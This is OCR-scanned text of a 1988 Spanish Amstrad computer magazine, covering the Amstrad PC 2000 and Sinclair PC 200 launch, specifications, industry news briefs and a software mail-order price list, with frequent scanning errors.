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6 ACTUAUDAD. Presentacidn serie 
PC 2000. Reportaje sobre el Personal Computer 
Show. Las redes locales nuevas. Anaya y el Co- 
mandante Norton. Novedades Proeinsa. Cabe- 
cera de Seul-TVE, etcdtera. 
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mentario puntual. 


Los ultimos libros y su co- 


142 C-V-C 

146 VIDEONOVIDADES. u. 

mas novedades en video. 


ISO OFERTASpara todos los lectores de 

nuestra revista. 



Amstrad PLC ha presentado su nueva se¬ 
rie de ordenadores PC compatibles, la se¬ 
rie 2000. Unos ordenadores que demands el 
mercado y que han sido objeto de no pocas 
tribulaciones y comentarios. Los nuevos PCs 
del ano 2000 son mucho mds potentes, es- 
tan basados en los microprocesadores 
80286 y 80386 y su capacidad de trabajo es 
enorme. Ahora bien, hay que «tirar de las 
orejas» a mister Sugar por haber presenta¬ 
do, por primera vez, una maquina sin tener 
existencias. Razones para hacerlo habia mu- 
chas: el tiron del mercado, la necesidad de 
definicidn impuesta a Amstrad por sus cola- 
boradores, la preparacion del soft, etc., perc 
no nos gusta i ter prototipos y despuds no po- 
der profundizar en ellos. El mercado espera 
las maquinas y abogamos porque se adelan- 
te algo su presencia en el mercado espahol. 

Otros productos, como los modems 
SM 2400 o la red local multiusuario, tambidr 
fueron presentados en el transcurso del mis- 
mo acto. 

De la otra nueva presentacidn, el Sinclair 
PC 200, del que por cierto si hay maquinas 
en «stock», hay que decir que es un ordena- 
dor «casero» con estandar MSDOS. lEs ne- 
cesaria su presencia en el mercado? Cree- 
mos que si. Cuando mister Sugar lanza al 
mercado un producto no se anda por las ra 
mas del negocio. el Sinclair PC 200, que no 
es ningun compatible Spectrum-PC, como se 
decia, es manejable, tiene posibilidades de 
operacidn y ademds muchos programas edu- 
cativos y juegos, mercados probables de 
esta maquina con imagen de ordenador fa 
miliar. 

Respecto a la feria espahola, Sonimag, ce- 
lebrada en Barcelona la ultima semana de 
septiembre, las novedades Amstrad han sido 
los nuevos videos con lector optico de pro- 
gramacion y un impresionante estudio de 
musica. No han llegado las anunciadas ca¬ 
meras de video de pequeho formato. Con res¬ 
pecto al resto de novedades, comentaros 
que por necesidades de edicion guardamos 
el reportaje para el mes que viene. 

En el numero 38 tendrdis cumplida referen¬ 
da de cuantas novedades acontezcan en el 
mundo informatico. 

Hasta el mes que viene. 

J. A. Sanz 
Director 
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r Rueda 
/ de prensa 
Amstrad PLC, 
Londres 12-9-88 


Alan Sugar: «Ya tenemos la serie 2.000, basada 
en los microprocesadom 80286 y 80386» 


Dos ahos despues de 
la entrada de 
Amstrad en el 
mercado de 
ordenadores 
personates (PC 1512 
y PC 1640), Alan 
Sugar, en una 
conferencia de 
prensa intemacional, 
con mas de 1.000 
invitados de todo el 
mundo, ha dado a 
conocer la gama 
PC 2000. 


A las doce de ia mariana del 
dia 13 del mes pasado, la 
sala de conferencias del 
Olimpia Exhibitions Center estaba 
abarrotada de periodistas. Italia- 
nos, aiemanes, franceses, belgas, 
americanos y espanoles espera- 
ban con impaciencia la gran noti- 
cia del dia. La confirmacion de 
Amstrad de continuar avanzando 
en el campo profesional de orde 
nadores personales con equipos 
mas potentes. 

Un Alan Sugar mas delgado, 
nervioso ante tanta expectacion, 
pero con la confianza de siempre 
en sus productos, se acerco a la 
antesala donde los periodistas to- 
mabamos cafe. Saludo a muy po- 
cas personas, entre ellas a Jose 
Luis Dominguez (Amstrad Espa- 
na) y Marion Vernier (Amstrad 
Francia) y toda la maquinaria de 
su departamento de comunicacion 


se puso en marcha. Terminados 
los cafes de turno, la sala de con 
ferencias nos esperaba con un 
magnifico audiovisual, que pre- 
sento una a una todas las mdqui- 
nas nuevas. En recuadro aparte se 
pueden ver los modelos y sus ca 
racteristicas tecnicas. En proxi- 
mos numeros —a medida que va- 
yan llegando los nuevos PCs— 
iremos explicando su funciona- 
miento. 


Nueva estrategia 

Con la tendencia del mercado 
intemacional hacia ordenadores 
mas rapidos y potentes basados 
en los procesadores 80286 y 
80386, la serie PC 2000 se hace 
mas necesaria despues de la en¬ 
trada de Amstrad en el mercado 
profesional. La serie PC 2000, con 
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Importantes novedades profesionales 


una gama de 24 equipos destina- 
dos directamente a este mercado, 
reforzara la postura de Ifder de 
Amstrad en el mercado europeo. 
Los precios oscilaron entre las 
150.000 y las 700.000 pesetas 
(este dato es aproximativo, pues 
Amstrad Espafia todavia no tiene 
la lista de precios definida). 

En palabras de Alan Sugar: 
«Esta operacidn esta en linea con 
nuestra estrategia de aumentar la 
participacion de Amstrad en el mer¬ 
cado europeo —once puntos por 
encima de IBM— de PCs en todos 
los sectores y capturar una parte 
significante del mercado mundial 
de PCs. Nuestros modelos PC 
2286 y PC 2386 comenzaran a ln- 
troducirse en Inglaterra en el primer 
trimestre de 1989 y el modelo PC 
2086 de la serie PC 2000 estar^ 
disponible en grandes cantidades a 
finales de 1988. Nuestras gamas 
existentes de PC 1512 y PC 1640 
continuaran su comercializacion 
con fuerza y conservaran su nivel 
de precios.” 



Alan Sugar con 
Marion Vernier y 
Jose Luis 
Dominguez, 
momentos antes de 
comenzar la 
presentacidn de los 
nuevos productos. 


gada de comercializar los videos, 
estudio de sonido y las antenas pa- 
rabolicas, asi como las cadenas 
musicales, compac-disk, etcetera. 

La presentacidn de estas nove¬ 
dades duro aproximadamente me¬ 
dia hora. Despues Alan Sugar, dis- 
frutando de un excelente humor, se 
sometio a las preguntas de los pe- 
riodistas de la City y de los cientos 
de enviados especiales que habian 
ilegado de todos los rincones del 


La sala estaba repleta de enviados especiales. Mas 
de doscientos periodistas de todo el mundo asis* 
tieron a la rueda de prensa. 




Consultada la direccidn general 
de Amstrad Espana, confirma estas 
fechas, aunque es prematura afir- 
mar con rotundidad que la presen¬ 
ces en el mercado espahol se retra- 
sara como mucho un par de meses. 
De cualquier manera, en el proximo 
SIMO estaran las maquinas en Es¬ 
pana para su exhibicion. 

La estrategia de Amstrad PLC 
queda como sigue: la rnarca Ams¬ 
trad sera la que se encargue de la 
venta y distribucion a traves de la 
red y de dealers autorizados de los 
ordenadores destinados al merca 
do profesional: PC 2000, PC 1512 
y 1640, los nuevos monitores y los 
Modens; la marca SINCLAIR que¬ 
da para los home computer, los 
CPC y Spectrum+2 y +3 y para un 
nuevo Sinclair PC 200 que estas 
navidades batira records de venta, 
y la marca FIDELITY sera la encar- 


mundo. Concreto con cifras la rea- 
idad de Amstrad en el mundo y a fir- 
no, entre otras cosas, que los fa- 
-nosos PCs de Amstrad 1512 y 
1640, que habian colocado a Ams¬ 
trad como lider europeo en la ven- 
:a de PCs no se iban a dejar de pro¬ 
duct. «Tenemos de- 
manda suficiente 
como para seguir fa- 
bricando, estamos le- 
jos de llegar al techo 
de ventas de estas 
maquinas. Lo que su- 
cede es que hay un 
sector importante del 
mercado que quiere 
maquinas mas poten- 
tes y nosotros las va- 
mos a ofrecer a los 
precios Amstrad, que 
son sensiblemente 
mas bajos.» 


Los periodistas espanoles, directores de las mejores revistas 
inforrndticas editadas en nuestro pais, que asistiercn a la rue¬ 
da de prensa. 


CONFIGURACION DE LA GAMA PC 2000 

MODELO 

SD 

DD 

30Mb HD 

40Mb HD 

65Mb HD 

PC2086 

* 

★ 

* 



PC2286 


* 


* 


PC2386 





* 
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Importantes novedades profesionales 



Procesador 8086 a 8 Mhz. 

Memoria RAM de 640K. 

Disquetera de 3 %" y 720Kb, conector para disquetera 
externa de 5 V/ y 360K, o de 3 %“ y 720K 6 1,44 Mb. 
Disco duro de 30Mb. 

Pa ton compatible Microsoft: Mouse, Com y Mouse-Driv. 
3 slots de expansion tlpo PC. 


Teclado mejorado con 102 teclas. 

Graflcos VGA compatibles con CGA. EGA, MDA y Hercules. 
Puerto paralelo Centronics bidireccional. 

Puerto serie RS 232. 

MSDOS 3.3. 

Microsoft Windows 2,03. 

GW-Basic. 



Procesador 80386 a 20 MHz. 
Memoria RAM de 4 Mb, ampliable a 16 
Mb ert la piaca principal. 
Memoria cache de 64K y 35 ns. 
Disquetera de 3%" y 1,44 Mb. 

El controlador de la disquetera es capaz 
de mane jar unidades de 3 J / 2 " y 720K o 
1,44 Mb, 5 V/ y 320K o 1,2 Mb mediante 
un conector exterior. 

Disco duro de 65 Mb. 

Cinco slots de expansion, tipo AT. 
Ratdn compatible Microsoft: Mouse.Com 
y Mouse. Drv. 

Graficos VGS compatibles con CGA, 
EGA, MDA y Hercules. 

Puerto paralelo Centronics bidireccional. 
Puerto serie RS 232. 

MS-DOS 4.0. 

GW-Basic. 

Microsoft Windows 386. 
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Menu 

Ft 2286 

Procesador 80286 a 12 MHz. 

Memoria RAM de 1 Mb, ampliable a 4 Mb en 
la placa principal. 

Disquetera de 3%" y 1,44 MB. 

El controlador de la disquetera es capaz de 
manejar unidades de 3V 2 " y 720K o 1,44 Mb, 
5V 4 " y 360K o 1,2 Mb mediante un conector 
exterior. 

Disco duro de 40 Mb. 

Cinco slots de expansion tipo AT. 

Raton compatible Microsoft: Mouse. Com y 
Mouse. Drv. 

Teclado mejorado de 102 teclas. 

Graficos VGA compat'tles conCGA, EGA, 
MDA y Hercules. 

Puerto paralelo Centronics bidireccional. 
Puerto serie RS 232. 

MS-DOS 4.0. 

Microsoft Windows 286. 

GW-Basic. 


i 



Sinclair- 


pc 200 


Procesador 8086 de 16 bits a 8 MHz (512K). 
Modulador incorporado (graficos CGA). 
Disquetera de 3'//. 

Teclado mejorado tipo AT. 

Puertos serie y paralelo. 

Conector de expansion para disqueteras adicionales 
(360K o 720K). 

Dos slots de expansion tipo PC. 

Puerto para joystick analogico. 

Raton. 

MS-DOS 3,3 compatible con el standard del 
mercado. 

GW-Basic. 

Gem 3 con desktop, calculadora y reloj. 


CONFIGURACIONES 


Sinclair PC 200 Monitor monocromo, joystick, organizador y 
cuatro juegos. 


Sinclair PC 200 Monitor color, joystick, organizador y cuatro 
juegos. 




























ACTUALIDAD 


iCOMO SE HIZO LA CABECERA DE «SEUL 88» EN TVE? 



■ TEINTERESA 


tCuantas veces la has visto? £Sabes tomo 
la hicieron? En unos mementos vas a cono- 
cer el «misterio» de la cabecera de conexidn 
de los Juegos Olimpicos de Seal. £Te acuer- 
das? 


La tecnica de rotosco- 
pia se conoce y utiliza 
desde los origenes del 
cine como procedimiento 
para reproducir rnovi- 
mientos. Asl, Melies y 
Chomon utilizaron esta 
tecnica en los primeros 
escarceos del trucaje y 
animacidn. La tecnica es 
simple. Se proyecta la 
imagen del movimiento 
real sobre una pantalla y 
se dibuja encima de ella, 
adaptando el movimiento 
del personaje dibujado a 
las posiciones del perso¬ 
naje real. Con la introduc- 
cidn del grafismo electro- 
nico esta tecnica de dibu- 
jo bidimensional ha gana- 
do en rapidez, pero el 
proceso continua hacien- 
dose imagen a imagen. 

La tecnica utilizada 
para la realizacion del dis- 
cobolo de la cabecera de 
SEUL 88 es mucho mas 
sofisticada y compleja. A 
partir de un movimiento 


real grabado en video, 
con ayuda de un ordena- 
dor, se han reconstruido 
en tres dimensiones to- 
dos los parametros de 
ese movimiento. 

La filmacion de la ima¬ 
gen real del movimiento 
se hizo en el plato de TVE 
en Esplugas, colocando 
una eamara cenital a seis 
metros de altura y otras 
cuatro se dispusieron oc- 
togonalmente. Se filma- 
ron simultaneamente mas 
de 70 lanzamientos de 
disco con un total de cin- 
cuenta minutos de video 
por eamara que corres- 
ponden a un total de 
375.000 imagenes. 

La fase siguiente con¬ 
sists en introducir las 
imagenes grabadas al or- 
denador y posteriormente 
digitalizar los puntos de 
referenda. 

Este proceso dio lugar 
a un volumen total de 
mas de 5 gigabytes (mas 


de un millon de paginas 
de texto). Una vez intro- 
ducidas las imagenes en 
el ordenador se desarro- 
llaron los programas ne- 
cesarios: 

—Introduccion de pun¬ 
tos. 

— Validacion de pun¬ 
tos. 

— Calculo de eamara. 

— Reconstruccion del 
modelo. 

— Validacidn del mo¬ 
delo. 

— Calculo de rotacio- 
nes. 

El resultado del de- 
sarrollo y utiiizacidn de 
los programas anteriores 
es una animacion prepa- 
rada para su visionado. 
Con ayuda de los ele- 
mentos estandar de ani¬ 
macidn se trabajo hasta 
conseguir la fluidez y el 
ritmo deseados. 

En paralelo se fueron 
construyendo cada una 
de las piezas que forma- 
ban el cuerpo de Giiik 
(nombre que se dio al dis- 



cdbolo). Se bused el ma¬ 
terial adecuado trabajan- 
do con parametros como 
textura, color, reflejos, bri 
llo, iluminacion. Una vez 
finalizado todo el proceso 
se ensamblaron todas las 
partes. Guik, por fin, co- 
bro vida. 

La tecnica de rotosco- 
pia utilizada para obtener 
el movimiento de Guik no 
tiene ningun precedente 
en Esparia y solo alguno 
en Europa, USA y Japdn. 
TVE la incorpora por pri- 
mera vez en la realizacion 
de una cabecera de pro¬ 
gramas. 
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Password nos comuni 
ca la salida al mercado de 
una nueva version, la 3.0, 
de los programas que 
componen su paquete de 
Gestion Inteqrada: Reci- 
bos, Mailing (analizado 
en el numero de AMS- 
TRAD USER), Contabili- 
dad, Gestion de IVA, 
Control de Stock y Factu- 
racion y Cartera. 

La nueva version es el 
resultado del desarrollo 
de la anterior en base a 
las sugerencias de los 


clientes finales y distribui- 
dores. Para los usuarios 
de las versiones anterio- 
res se ha creado un kit de 
actualization que se co- 
rnercializa a un precio 
equivalente al de la dife- 
rencia entre ambas ver 
siones, entregandose con 
el un programs de inter- 
cambio de datos cuya 
funcion es el traspaso de 
todos los datos almace- 
nados en los programas 
de la version 2 a la nueva 
version 3 


■ ESC ASH BE 
MODEM AMSTBAB 
EH IHBLATERBA 


Nos han llegado noti- 
cias referentes a la tarje- 
ta MC 2400 compatible 
Hayes que saco al merca¬ 
do Amstrad a primeros de 
aho. La tarjeta, que rnan- 
tiene la filosofia de Ams¬ 
trad precio-calidad, ha 
roto todas las previsiones 
de ventas dejando a una 
gran cantidad de usuarios 
de PC en espera para po- 
der disponer de las gran- 


des prestaciones que 
ofrece la tarjeta, que es 
capaz de marcar nume- 
ros telefonicos, contestar 
llamadas telefonicas, in- 
tercomunicarse con va- 
rios sistemas de correo 
electronico y disponer de 
un dispositivo automatico 
para la selection del 
modo de operacion, todo 
esto ajustado a las reglas 
BABT. 


i APPLE Y 
HEWLETT- PACKARD 


Dos grandes en 
los tribunales 


■ BIVULGACIOH 
IHFORMATICA 


Del dia 3 de octubre de 
1988 al 5 de julio de 1989 
se va a desarrollar en el 
Instituto de Automatica 
Industrial del Consejo Su¬ 
perior de Investigaciones 
Cientfficas y CREI el VII 
Curso de Computadores 
en la Industria. 

Coordinador local: An¬ 
gel Alique Palomar, in- 
vestigador del CSIC, La 
Poveda, 28500 Arganda 
del Rey (Madrid). Telefo- 
no 871 19 00. 


Se va a realizar el II En- 
cuentro Luso-Espanol de 
Informfiticos en Oporto 
(Portugal), del dia 27 al 
30 de octubre. 

Coordinador local: Jose 
Almeida Nunes, vicepre- 
sidente API. R. de Santa 
Catarina, 706, 4 (sala . 
403). 4000 Oporto (Portu¬ 
gal). Teldfono 31 48 43. 
Telex: 64653 APINF P. 
(Los residentes en Espa- 
na deberan dirigirse al 
CREI.) 


El contencioso que en- 
frenta a las multinaciona 
les americanas Hewlett- 
Packard y Apple a causa 
de los interfaces graficos 
de usuario continua sien- 
do noticia. La demanda 
presentada por Apple 
contra Hewlett-Packard el 
pasado mes de marzo ha 
sido contestada con una 
contrademanda en la que 
se acusa a Apple de prac- 
ticas comerciales ilegales 
y contravencidn de la Ley 
Antitrust 

Hewlett-Packard no 
solo ha negado todas las 
acusaciones de Apple de 


haber infringido la ley de 
propiedad intelectual, 
sino que ademas ha pedi 
do al juzgado que anule 
los derechos de propie¬ 
dad que Apple se atribu- 
ye en su demanda. 

El software que origino 
este prolongado enfrenta- 
miento, que tambien invo 
lucro a Microsoft, es el 
entorno grafico HP New¬ 
Wave. Segun Apple, tan- 
to HP NewWave como 
Microsoft Windows 2.03 
se asemejan tanto al in¬ 
terface grafico del Macin¬ 
tosh que infringen sus de¬ 
rechos de propiedad. 
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NOTICIAS 


Opinion: 

De profesion 
programador 

E N los ultimos meses, el auge de la indus- 
tria del software recreativo ha traido con- 
sigo la aparicion de la profesidn de pro¬ 
gramador de viodeojuegos. 

Como cualquier profesion, esta tiene una se¬ 
rve de aspectos positivos y negativos, asi como 
unos requisitos imprescindibles. 

Los requisitos necesarios para ser programa¬ 
dor de video-juegos no son muchos: El disco 
con programas y las rutinas realizadas hacen 
las veces de «curriculum vitae» y no se precisa 
de ningun tipo de titulacion academics; de he- 
cho, la mayoria de las personas que trabajan en 
este sector carecen de titulos universitarios. 
Unicamente se requiere el dominio del micro- 
procesador con el que se trabaja, iniciativa pro- 
pia y, sobre todo, mucha dedicacion. 

Hay que tener en cuenta que las personas que 
trabajan en estas actividades son autodidactas 
que adquirieron sus conocirnientos a traves de 
publicaciones y libros. Ademas, en la actuali- 
dad, estos conocirnientos no se imparten en nin¬ 
gun lugar, salvo en algunas asignaturas sueltas 
de la Ingeneria Industrial y Telecomunicacjon, y 
son de todo punto insuficientes para cubrir el ni- 
vel precisado en este sector. 

Es precisamente esta dificultad para adquirir 
dichos conocirnientos, junto con el trabajo, lo 
que se se paga a la hora de la verdad. Y dicho 
sea de paso, se paga muy bien: El sueldo me¬ 
dio de un programador oscila entre las 100.000 
y 300.000 pesetas. En Topo Soft, por ejemplo, la 
persona «peor» pagada, cobra cerca de las 
150.000 pesetas. Si se tiene en cuenta que para 
percibir estas mismas remuneraciones en la Ad¬ 
ministration espahola, uno tendria que superar 
unas oposiciones, ademas de acreditar una titu- 
lacion, se llega a la conclusidn de que los pro- 
gramadores no estan mal pagados. 

En contrapartida, la concentration y el esfuer- 
zo intelectual que exige la programacion supers 
con creces a cualquier otra actividad, y se pue- 
de decir que el programador esta en una fase de 
continuo apredizaje, debido a las frecuentes in- 
novaciones dentro del mercado de ordenadores. 

A pesar de los buenos sueldos, esta profesion 
ha venido acompahada desde sus comienzos de 
un cierto aire de incertidumbre, al estar supedi- 
tada al buen momento del software en Espaha. 

De cualquier forma, con futuro o sin futuro, 
los programadores son personas que viven al 
dia y disfrutan mucho con su trabajo. Y eso es 
algo que no se paga con dinero. 

Mario de Luis Garcia 



2 Camps? a Sport 
Aid - octubre 


Aunque la parte central 
de SPORT AID'88 tuvo 
lugar en torno a la cele- 
bracion del Gran Maraton 
del pasado 11 de sep- 
tiembre, obviamente la 
camparia no acabo ahi. 
De hecho. la carrera que 
se celebro de forma si- 
multanea en todo el muri- 
do no es mas que el co- 
mienzo de una larga serie 
de eventos que se prolon- 
gan al mes de octubre, si- 
guiendo distintos calen- 
darios en cada pais par¬ 


ticipants. 

Por otra parte, el juego 
THE RACE AGAINST 
TIME (LA CARRERA 
CONTRA EL TIEMPO), 
que ya ha obtenido en el 
Reino Unido un exito sin 
precedentes en campa- 
has de este tipo, se segui- 
ra vendiendo hasta alcan- 
zar la cifra de 1.000.000 
de unidades en todo el 
mundo, las cuales esta- 
r6n probablemente repar- 
tidas segun las previsio- 
nes. 


| PASSES 


Inglaterra. 

100.000 

Alemania. 

75.000 

Francia . 

75.000 

Espana ...... 

50.000 

Resto de Europa .... 

150.000 

Latinoamerica ... 

50.000 

Japbn . 

200 000 

EEUU y resto del mundo ........... 

300.000 

TOTAL ..... 

1.000.000 


FE DE ERRATAS 


Los temibles duendes 
de las imprentas, respon- 
sables de las erratas que 
aparecen en todas las re¬ 
vistas, nos jugaron una 
mala pasada en el articu- 
lo «Aplicaciones GEM de 
Digital Research", publi- 
cado el pasado mes de 
septiembre, trastocando 
por completo el'ultimo 
parrafo de la pagina 48, 
que repetimos a continua- 
ci6n: 

GEM PROGRAM¬ 
MER'S TOOLKIT 

Perteneciente tambien 
a la linea de programas 
GEM, el Programmer’s 
Toolkit es muy diferente a 
las restantes aplicaciones 
GEM. El programa contie- 
ne todas las herramientas 
necesarias para desarro- 
llar programas GEM. Dis¬ 


pone de un completo jue¬ 
go de interfaces y herra¬ 
mientas de programacion 
que permiten que las apli¬ 
caciones desarrolladas 
por el usuario puedan uti- 
lizar los interfaces de soft¬ 
ware GEM. 

Con el GEM Icon Edi¬ 
tor, puede disehar sus 
propios iconos. Los me¬ 
nus de construccidn y el 
operador dialogan con el 
GEM Resource Construc¬ 
tion Set. Las funciones 
GEM se pueden llamar 
mediante un lenguaje de 
alto nivel o directamente 
desde lenguaje ensam- 
blador. Por ultimo, se 
puede utilizar el Symbolic 
Debugger para probar, 
verificar y ajustar el pro¬ 
grama de aplicacidn 
GEM. 
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PROTECCION «ANTICOPIA» 
DE SUS PROGRAMAS 


WordPerfect Corpora¬ 
tion, uno de los lideres 
mundiales del software, 
ha tornado la iniciativa de 
eliminar la proteccidn 
«anticopia» de todos sus 
programas en Espafia. El 
senor Federico Richter, 
director general de Word¬ 
Perfect fberica y vicepre- 
sidente de ASOFT, ha in- 
formado que dicha medi- 
da obedece a la intencion 
de facilitar el uso de los 


programas a los usuarios 
legitimos, que no tieneri 
por que sufrir las limita- 
ciones originadas por un 
sistema pensando para 
protegerse de usuarios 
deshonestos. Finalmenle, 
el senor Richter ratified su 
confianza en la mayor 
toma de conciencia de las 
empresas espaiiolas y en 
la nueva Ley de la Propie- 
dad Intelectual, que por 
primera vez en Espana, 


preve penalidades ejem- 
plares para los infracto- 
res. 

No obstante, a pesar 
de haberse eliminado la 
proteccion, los programas 
distribuidos por WordPer¬ 
fect Iberica (WordPerfect 
4.2, WordPerfect 5.0 (con 
autoedicion), PlanPerfect, 
DataPerfect, Executive, 
Library y Office), permiti- 
ran seguir el rastro de 
eventuales transgresores 
al incorporar, de manera 
encriptada e imborrable. 
el numero de licencia 
asignado a cada usuario. 

Ademas, con el consi¬ 
derable incremento de 
potencia y versatilidad 
ofrecidd por los progra¬ 
mas modernos, los usua¬ 
rios va han comprendido 
la ventaja que represents 
ser un «usuario legab> al 
poder disfrutar de actuali- 
zaciones a bajo coste, 


disponer de programas 
garantizados (no eonta- 
minados), hacer uso del 
servicio de soporte post- 
venta gratuito (hot line) y 
tener buenos manuales. 

Lo que antecede supo- 
ne un importante paso 
hacia adelante, que segu- 
ramente sera emula'do 
por otras casas de soft¬ 
ware, euando estas se 
convenzan del creciente 
sentido de responsabili- 
dad de los usuarios es- 
panoles. 

En consecuencia, sblo 
queda recomendar a al- 
gunas personas deponer 
ciertas practicas, tan en 
boga antes de la Ley de 
la Propiedad Intelectual, a 
efectos de que muy pron¬ 
to todo el software del 
mercado este traducido al 
espahol y sin las protec- 
.ciones «anticopia» men- 
cionadas anteriormente. 


PROEINSA GAMBIA DE L0G0TIP0 


Nos llegan noticias de 
Proeinsa, la empresa que 
ha sacado juegos tan im- 
portantes tales como 
Sport 88 y Enduro Racer. 
La noticia: Han cambiado 
su logotipo y sede social. 
Se han quedado sin sitio 
suficiente y crecen..., nos 
produce alegria saberlo, 
porque indica la gran aco- 
gida que tienen sus juegos 
en el mercado del softwa¬ 
re. Proeinsa nos echa par¬ 
te de la «culpa» en su cre- 
cimiento y desde aqui les 
deseamos suerte en esta 
nueva etapa que ahora co- 
mienza con nuevas ofertas 
y nuevos programas. Aqui 
tenets la nueva direccidn 
de Proeinsa: Marques de 
Monteagudo, 22, bajo. 
28028 MADRID. Telefonos: 
(91)564 36 07/13. 


Y DIRECOION 
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NOTICIAS _ 

Redes locales de Sainfo 



LA RED IWVENC18LE 
PAflA ORDENAO08ES 


IBM/PC 
pc xr 



BETfWAS 

t trucMxma homutcob 


Sainfo, S. A., telefono 
(91) 279 49 79, anuncia 
la distribucion para Espa- 
na de dos nuevos mode- 
los de redes de area local 
de Invisible Software: el 
modelo 100, de veloci- 
dad ><4 Mbps, y el mode¬ 
lo 200, ajustable a 1.8 
Mbps y ya disponible en 
version IBM PS/2. 

Esta nueva red no pre- 
cisa de servicios dedica- 
dos, permitiendo una 
gran flexibilidad tanto en 
su instalacion como a la 
bora de modificar la ex¬ 
tension de la red. Su to 
pologia es de tipo «daisy 
chain» y los datos se 
transmiten a traves de un 
canal de 16 bits. La red se 
recomienda para oficinas 


y eguipos de trabajo pe- 
guenos y medianos, cuya 
actividad en la entrada de 
datos y generacidn de do- 
cumentos sea alta. 

El «Starter Kit», oferta- 
do actualmente, se cam- 
pone de dos tarjeias, un 
cable de conexion, ma- 
nuales y el sistema ope- 
rativo Net/30, de facil ma- 
nejo. Entre las utilidades 
proporcionadas sin cargo 
alguno se encuentra un 
programa para poner en 
marcha los nodos que no 
dispongan de unidades 
de disco. La red de Invisi¬ 
ble se ofrece completa en 
una unica caja. 

Aparte del sistema ope¬ 
rative propio de Invisible 
Software, la red puede 
funcionar con software 
compatible Netbios, como 
IBM PC Lan, Novell Net- 


ware/286 y Netware 86, 
Torus Tapestry, CBIS 
Network OS y Corvus 
PC-NOS. 

La conexion fisica. a 
traves de cable de par 
trenzado, se basa en el 
protocolo de comunica- 
clones CSMA/HCA 
(Carrier Sense Multiple 
Access) con un nuevo y 
sofisticado diseno (Heart¬ 
beat Collision Avoidance) 
que evita colisiones en la 
red y se traduce en una 
tasa de error de 
1/100.000 millones de 
bits de datos. 

Invisible Network so- 
porta todos los sistemas 
compatibles con el entor- 
no DOS, incluidos los 
equipos basados en el 
rnicroprocesador basa¬ 
dos en el microprocesa- 
dor 80836. 


TECNOLOGIA 
SURPASS PARA 

QUATTRO 


QUA 



Borland International 
anuncio el pasado 2 de 
junio la firma de un con 
trato con la compaiiia de 
software Surpass 
Systems Inc., por rnedio 
del cual Borland adquiere 


todos los derechos para 
utilizer tanto las tecnolo- 
gias como el equipo de 
desarrollo de Surpass e 
integrarlas dentro de su 
propio equipo de desarra- 
llo. 

Segun Philippe Kahn. 

presidente y fundador de 


Borland International. «la 
adquisicion de la tecriolo- 
gia Surpass nos permite 
realizar nuestra propia 
tecnologla para asi crear 
los mejores equipos de 
ingenieria y desarrollo y 
conseguir uria alta caii- 
dad de programas para el 
mercado del software-. 

La version actual de 
Surpass sera comerciali- 
zada con un numero limi- 
te de ejemplares. Borland 
ofrecera a los usuarios un 
soporte tecnico y la posi- 
bilidad de adquirir la nue¬ 
va version de Quattro en- 
riquecida por la tecnolo r 
gia de los dos productos. 


OPERA SOFT, MAS 
BARATO TODAVIA 


Opera Soft nos comuni¬ 
ca la inminente reduccion 
de los precios de todos 
sus juegos para los Ams- 
trad PC y compatibles. El 
precio. que hasta ahora 
era de 3.999 pesetas, pa- 
sara a ser de 1.999 pese¬ 
tas. Una estupenda no- 
ticia. 


BREVETES 


• Un buen producto a 
un buen precio. La im- 
presora Deskjet de 
Hewlet Packard, de 
chorro de tinta —casi 
tanta cal id ad como con 
laser—, y que sale at 
mercado al precio de 
149.100 pesetas. No es 
muy barata, pero si es 
una buena impresora y 
pequena. 

• Tequinsa, concesio- 



nario oficial Epson y 
mayorista de Unysis, 


cambia de domicilio. 
Desde el 18 de julio es- 
tan en la calle Serrano, 
211, de Madrid. 

• Paul Holmes, el co- 
nocido programador, 
autor entre otros exitos 
de Bombjack y Bomb- 
jack 2, hasta ahora en 
Elite, ha pasado como 
director de software a 
DOM ARK, con lo que 
esta empresa inglesa 


eleva el equipo de cola- 
boradores sustancial- 
mente. 

• Softronics, importa- 
dor y distribuidor oficial 
de los productos Auto¬ 
desk, ofrece ahora Au- 
toFlix, programa que 
permite animar los di- 
bujos en dos o tres di- 
mensiones generados 
con AutoCAD o Autos¬ 
hade. 
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Calle Monte Aldave, 15, 1,° A 

Telefono (943) 61 51 47. 20300 Irun (Guipuzcoa). 


—Programas directamente de im¬ 
portation. 

—Servicio de venta por correo. 

—Servicio de venta a tiendas y 
mayoristas. 

—IVA y gastos de envio incluidos 
en el precio. 


CATALOGO PCW 


Bases de datos p*as. 


Camaoft Cambase II. 13.500 

Sage Retrieve. 18.400 

Database Manager. 8.000 

MasterfHe 8000. 14.300 

Procesadores de texto 

Locoscnpi II (Nuevi version). 7.500 

Locomall I. 10.600 

Locomall II. 10 600 

Hojas de calculo 

Scralhpad Plus . 17.100 

Cracker 2. 12.000 

Datastore II. 11.400 

Graficos 

Dr. Draw. 12.000 

Dr. Graph. 12.000 

Elec. Video Digitiser. 29.300 

Desktop Publishing 

Fleet Slrsst Editor Plus. 17.550 

Mnwdesk International. 12 300 

Ligt Pen Newdesk. 8.000 

Satdn + Newdesk. 25 30S 

Stop Press t Ratdn (Am*). 28.200 

Utilidades 

Mass Easy Labeller. 11.450 

Rotate . 8 700 

Prospell . 8,150 

Arnor C. ’6.350 

Arnor Maxam. 16.350 

Personal Tax Planer. 8.150 

lankey Crash Typing . 6 800 

lankey Two Fingers. 6.800 

Super Type. 7.000 

Juegos 

Stargllder. 4.800 

Batman. 3.500 

Leather Gooddesses . 6.000 

Suspended. 6.000 

The Pawn. 6.000 

Bridge Player . 5.300 

Scrabble. 5.3C0 

Trivial Pursuits. 5.300 

Silicon Dreams. 5 300 

Ace . 5.300 

Strike Force Harrier. 5.300 

Night oro. 5.000 

Tetris . 5.300 

Cyrus Chess. 4.100 

Head Over Hells . 4.100 

The Fourth Protocol. 4.100 

Steve Davis Snooker. 4.100 

Colossus 4 Chess. 48)0 

Tomahawh . 4.800 

Colossus 4 Bridge. 4.800 

Modems 

Linnet V21/V23 . 52.700 

WS4000 {Miracle Tech). 63 700 

Comunicaclones (Soft) 

Sage Combo (Soft 4 modem Linnet).... 74.300 

Sage Chit-Chat Soift. 31.800 

Dialup Communications. 26.550 

Cintas de impresora 

PCW Multistrike. 2.000 

Cmta color (azul, roja, verde o negra)... 2.000 
PCW 9512 clnta negra. 2.000 


Mantenimiento 



Bureaucracy ... 

. 8.800 

The Clear Head . 

. 3.000 


Gunshlp. 

. 8.800 


PC AMSTRAD Y COMPATIBLES 




Bases de datos 

Ptas. 

Compsoft Delta 4.3. 

27. 750 

Camsoft Cambase. 

12.300 

Masterflle PC. 

18.250 

Amstrad Infomaster . 

.. 22000 

Procesadores de texto 

New Word 2. 

